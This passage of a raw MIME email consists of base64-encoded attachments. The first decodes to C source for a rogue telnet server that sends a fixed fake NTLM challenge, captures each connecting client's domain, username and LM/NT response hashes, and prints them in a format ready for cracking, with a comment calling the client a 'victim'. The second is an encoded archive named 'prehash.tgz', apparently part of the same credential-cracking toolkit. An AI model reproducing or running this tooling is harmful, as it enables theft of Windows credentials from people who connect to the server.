IDwgMCkgew0KICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiQ2Fubm90
IGFjY2VwdCBzb2NrZXQ6ICVtXG4iKTsNCiAgICAgICAgICAgICBjb250aW51
ZTsNCiAgICAgICAgIH0NCg0KICAgICAgICAgY2xfYWRkcmxlbiA9IHNpemVv
ZihjbGllbnQpOw0KDQogICAgICAgICBpZihnZXRwZWVybmFtZShjc29jaywg
JmNsaWVudCwgJmNsX2FkZHJsZW4pIDwgMCkgew0KICAgICAgICAgICAgIGZw
cmludGYoc3RkZXJyLCAiQ2Fubm90IGdldCBwZWVyIG5hbWUgb2YgcmVtb3Rl
IGhvc3Q6ICVtXG4iKTsNCiAgICAgICAgICAgICBkcm9wY29ubihjc29jayk7
DQogICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICB9DQoNCiAgICAg
ICAgIGZwcmludGYoc3RkZXJyLCAiQ29ubmVjdGlvbiBmcm9tOiAlc1xuIiwg
DQogICAgICAgICAgICAgICAgKGNoYXIgKikgaW5ldF9udG9hKGNsaWVudC5z
aW5fYWRkci5zX2FkZHIpKTsNCg0KICAgICAgICAgc3RybmNweShjbGlfaW5m
by5pcGFkZHIsKGNoYXIgKilpbmV0X250b2EoY2xpZW50LnNpbl9hZGRyLnNf
YWRkciksIDE1KTsNCg0KICAgICAgICAgLyogPT09PT09PT09PT09IFRoaXMg
YmVnaW5zIG91ciB0ZWxuZXQgYXV0aCBoYW5kc2hha2UgPT09PT09PT09PT09
PT09Ki8NCg0KICAgICAgICAgLyogc2VydmVyIHNlbmRzOiAoc3J2X25lZzEp
DQogICAgICAgICAgICBETyBBVVRIRU5USUNBVElPTiwgV0lMTCBFQ0hPLCBE
TyBTVVBQUkVTUyBHTyBBSEVBRCwgRE8gTkFXUywgDQogICAgICAgICAgICBE
TyBCSU5BUlksIFdJTEwgQklOQVJZDQogICAgICAgICAgKi8NCiAgICAgICAg
IHNlbmQoY3NvY2ssIChjaGFyICopIHNydl9uZWcxLCBzcnZfbmVnMV9zeiwg
MCk7DQoNCg0KICAgICAgICAgLyogY2xpZW50IHNlbmRzIGJhY2s6IA0KICAg
ICAgICAgICAgV0lMTCBBVVRIRU5USUNBVElPTg0KICAgICAgICAgICovDQog
ICAgICAgICBybGVuID0gcmVjdihjc29jaywgKGNoYXIgKikgcmJ1ZiwgTUFY
QlVGLCAwKTsNCg0KICAgICAgICAgaWYodmVyYm9zZT4wKXsNCiAgICAgICAg
ICAgICBmcHJpbnRmKHN0ZGVyciwgIlxuJWQgYnl0ZSByZXNwb25zZSB0byBu
ZWcxID1cbiIsIHJsZW4gKTsNCiAgICAgICAgICAgICBwcmludGhleGR1bXAo
cmJ1Ziwgcmxlbik7DQogICAgICAgICB9DQoNCiAgICAgICAgIGlmKHN0cm5j
bXAocmJ1ZiwgIlx4ZmZceGZiXHgyNSIsIDMpICE9IDApIHsgLy9qdXN0IGNo
ZWNrIGZpcnN0IDMgYnl0ZXMNCiAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVy
ciwgIldyb25nIHRlbG5ldCBuZWcxIHJlc3BvbnNlIGZyb20gY2xpZW50XG4i
KTsNCiAgICAgICAgICAgICBkcm9wY29ubihjc29jayk7DQogICAgICAgICAg
ICAgY29udGludWU7DQogICAgICAgICB9DQogICAgICAgICBtZW1zZXQocmJ1
ZiwgJ1wwJywgTUFYQlVGKTtybGVuPTA7DQoNCg0KICAgICAgICAgLyogc2Vy
dmVyIHNlbmRzOiAoc3J2X25lZzIpDQogICAgICAgICAgICBTQiBBVVRIRU5U
SUNBVElPTiBTRU5EIC4uLiBTRQ0KICAgICAgICAgICAqLw0KICAgICAgICAg
c2VuZChjc29jaywgKGNoYXIgKikgc3J2X25lZzIsIHNydl9uZWcyX3N6LCAw
KTsNCg0KDQogICAgICAgICBybGVuID0gcmVjdihjc29jaywgKGNoYXIgKikg
cmJ1ZiwgTUFYQlVGLCAwKTsNCiAgICAgICAgIGlmKHZlcmJvc2U+MCkgew0K
ICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiXG4lZCBieXRlIHJlc3Bv
bnNlIHRvIG5lZzIgPVxuIiwgcmxlbiApOw0KICAgICAgICAgICAgIHByaW50
aGV4ZHVtcChyYnVmLCBybGVuKTsNCiAgICAgICAgIH0NCg0KICAgICAgICAg
aWYoc3RybmNtcChyYnVmLCAiXHhmZlx4ZmQiLCAyKSAhPSAwKSB7DQogICAg
ICAgICAgICAgZnByaW50ZihzdGRlcnIsICJXcm9uZyB0ZWxuZXQgbmVnMiBy
ZXNwb25zZSBmcm9tIGNsaWVudFxuIik7DQogICAgICAgICAgICAgZHJvcGNv
bm4oY3NvY2spOw0KICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAg
fQ0KICAgICAgICAgbWVtc2V0KHJidWYsICdcMCcsIE1BWEJVRik7IHJsZW49
MDsNCg0KDQogICAgICAgICAvKiBSZWNlaXZlIHdoYXQgc2hvdWxkIGJlIHRo
ZSBOVExNIFJlcXVlc3QgVG9rZW4gKi8NCg0KICAgICAgICAgcmxlbiA9IHJl
Y3YoY3NvY2ssIChjaGFyICopIHJidWYsIE1BWEJVRiwgMCk7DQoNCiAgICAg
ICAgIGlmKHZlcmJvc2U+MCkgew0KICAgICAgICAgICAgIGZwcmludGYoc3Rk
ZXJyLCAiXG5SZWNlaXZlZCAlZCBieXRlIHJlcXVlc3QgdG9rZW4gPVxuIiwg
cmxlbiApOw0KICAgICAgICAgICAgIHByaW50aGV4ZHVtcChyYnVmLCBybGVu
KTsNCiAgICAgICAgIH0NCiAgICAgICAgIGlmKGdldHRva2VuKCByYnVmKzE1
LCAqKHJidWYrNykpICE9IDApIHsNCiAgICAgICAgICAgICBmcHJpbnRmKHN0
ZGVyciwgIkRvZXNudCBsb29rIGxpa2UgYSBOVExNIHJlcXVlc3QgdG9rZW4u
XG4iKTsNCiAgICAgICAgICAgICBkcm9wY29ubihjc29jayk7DQogICAgICAg
ICAgICAgY29udGludWU7DQogICAgICAgICB9DQogICAgICAgICBtZW1zZXQo
cmJ1ZiwgJ1wwJywgTUFYQlVGKTtybGVuPTA7DQoNCg0KICAgICAgICAgLyog
U2VuZCBOVExNIENoYWxsZW5nZSBUb2tlbiAqLw0KICAgICAgICAgZnByaW50
ZiAoc3RkZXJyLCAiU2VuZGluZyBOVExNIGNoYWxsZW5nZSB0b2tlblxuIik7
DQogICAgICAgICBpZih2ZXJib3NlPjApIHsNCiAgICAgICAgICAgICBwcmlu
dGhleGR1bXAoc3J2X2Zha2VfTlRMTV9jaGFsbGVuZ2UsIHNydl9mYWtlX05U
TE1fY2hhbGxlbmdlX3N6KTsNCiAgICAgICAgIH0NCg0KICAgICAgICAgc2Vu
ZChjc29jaywgKGNoYXIgKikgc3J2X2Zha2VfTlRMTV9jaGFsbGVuZ2UsIA0K
ICAgICAgICAgICAgICAgICAgICAgc3J2X2Zha2VfTlRMTV9jaGFsbGVuZ2Vf
c3osIA0KICAgICAgICAgICAgICAgICAgICAgMCk7DQoNCg0KICAgICAgICAg
LyogUmVjZWl2ZSB3aGF0IHNob3VsZCBiZSB0aGUgTlRMTSBSZXNwb25zZSBU
b2tlbiAqLw0KICAgICAgICAgcmxlbiA9IHJlY3YoY3NvY2ssIChjaGFyICop
IHJidWYsIE1BWEJVRiwgMCk7DQoNCiAgICAgICAgIGlmKHZlcmJvc2U+MCkg
ew0KICAgICAgICAgICAgIGZwcmludGYoc3RkZXJyLCAiXG4lZCBieXRlIHJl
c3BvbnNlIHRvIGNoYWxsZW5nZT1cbiIsIHJsZW4gKTsNCiAgICAgICAgICAg
ICBwcmludGhleGR1bXAocmJ1Ziwgcmxlbik7DQogICAgICAgICAgICAgZnBy
aW50ZihzdGRlcnIsICJcbiIpOw0KICAgICAgICAgfQ0KICAgICAgICAgaWYo
Z2V0dG9rZW4ocmJ1ZisxNSwgKihyYnVmKzcpKSAhPSAwKSB7DQogICAgICAg
ICAgICAgZnByaW50ZihzdGRlcnIsICJEb2VzbnQgbG9vayBsaWtlIGEgTlRM
TSByZXF1ZXN0IHRva2VuLlxuIik7DQogICAgICAgICAgICAgZHJvcGNvbm4o
Y3NvY2spOw0KICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgfQ0K
DQogICAgICAgICBtZW1zZXQocmJ1ZiwgJ1wwJywgTUFYQlVGKTtybGVuPTA7
DQoNCg0KICAgICAgICAgLyogV2VyZSBkb25lIHdpdGggdGhpcyB2aWN0aW0g
Ki8NCiAgICAgICAgIGRyb3Bjb25uKGNzb2NrKTsNCg0KICAgICAgICAgZnBy
aW50ZihzdGRvdXQsICIlc1xcJXNAJXMvJXM6Mzolczolczolc1xuIiwNCiAg
ICAgICAgICAgICAgICAgICAgICAgICBjbGlfaW5mby5kb20sDQogICAgICAg
ICAgICAgICAgICAgICAgICAgY2xpX2luZm8udXNlciwNCiAgICAgICAgICAg
ICAgICAgICAgICAgICBjbGlfaW5mby5pcGFkZHIsDQogICAgICAgICAgICAg
ICAgICAgICAgICAgY2xpX2luZm8uaG9zdCwNCiAgICAgICAgICAgICAgICAg
ICAgICAgICBjbGlfaW5mby5jaGFsLA0KICAgICAgICAgICAgICAgICAgICAg
ICAgIGNsaV9pbmZvLmxtaCwNCiAgICAgICAgICAgICAgICAgICAgICAgICBj
bGlfaW5mby5udGgpOw0KICAgICAgICAgZmZsdXNoKHN0ZG91dCk7DQogICAg
IH0NCg0KICAgICANCiAgICAgY2xvc2UobHNvY2spOw0KICAgICByZXR1cm4o
MCk7DQp9DQoNCg0K
--0-1033401841-968876009=:26686
Content-Type: APPLICATION/octet-stream; name="prehash.tgz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.3.96.1000913151329.26686C@mournblade>
Content-Description:
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
GA0NtixldjGtbL3Ss5xU6GlqQJ0ig9oDl1G0m6mVlplCUK1gSHpaySUD9TXE
zMotNUTDnhS9bLU+5iRZWtX1NTcNMs40EwxNCun48KB1X/QLN+zDFwlvajf4
8hf3NubqAl/9VSU8Lmx6L4yhtxsM8T5SqcMEwVcedndecDWHd1t4HeIhr4of
33nTRP0WU8w6DhdBUqEAEaFQ2EEMv4Jak6umt0mTtf4RXH+JiIkQICSVbMLD
Wjep8q6ZvbXkdTBT/rR0S+XvPn1za6s8OYoUv2QFgfrNLMVlPcZlIVdB6U9h
9DSNv1pOmPjm/+CNVeXESUhXLSpTVLy756uSKm32oc20C2filsk9nTMXno6v
rEHx2aTi2XhSwXzv4cYFz3WKc03MfHrSUx/PGdoswh+FocgX9NnVD1mcoHUb
r7a2xUk5bpBb+VuBytXWoNrXY+FpNN+rTu86zonGuUkuqeI2e8Oae4iqqtu4
YfSuccNbcd9QUk3yVGUzZDnhvaI2m8gTICBlJVLlOwgPykMWOsTGUwad/qHC
3ROqRMGAxwlOydsfwOoPu7Y1/FBj9dUH8hqkwIfrsrmRNryZS4SHL3QvJQ6P
8ulXGLxfMzrCvXevbnQ8yqdpPr/XjkaWGKwNDI+gCoSPHRGUMi0iEejfZkgs
I1lNqUVlQEGpPeQgynugvN/tDe/XUabXjCBaV/cYMPTlh40e22T3109RoiJg
OkbN2iwY1lLMXjRpZuN6d9fE7yPSp27VxOoVSBYTWGz6CiN9tOCjlX20cwKd
dQI1ZznkLPYF3mrS2Q58ml1fBdfsB9Y0d3eb9tZ9q9X6p/mTUVG1D18pss7T
IgsZ/GHD2SRtpd7D2oSFfAccGYmUxV8UWHUpGwHK+G1GDNVUZRCp1VVCSURA
8mcESdCBwvxQDTgSXSOfCtMXh+V5/ZUvaBVGQjrHlRD50Miv23ES3SThDSxc
xbu5MFL8kkrVEq5NDMNQCOLqNLx5+dIc5sZMSrimGP3B+GTgH00Q3+LFZyZw
WK08i5WxmMRiA0s3ZbGAxS6w2BmLRSx9YHFSFhtYnAKLk7HYxIJfSLZTFgdY
ugWWbsbiIIuJLFbK0gWWXoGll7F0kcVGFjNl6QFLv8DSV97sIUP/sLIrGNSt
OyiBGoOmeIez6UlVyoXZSNzFf9pXhp6UHMXNwKii3fKCqqcgr/A4PyGMW1e5
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
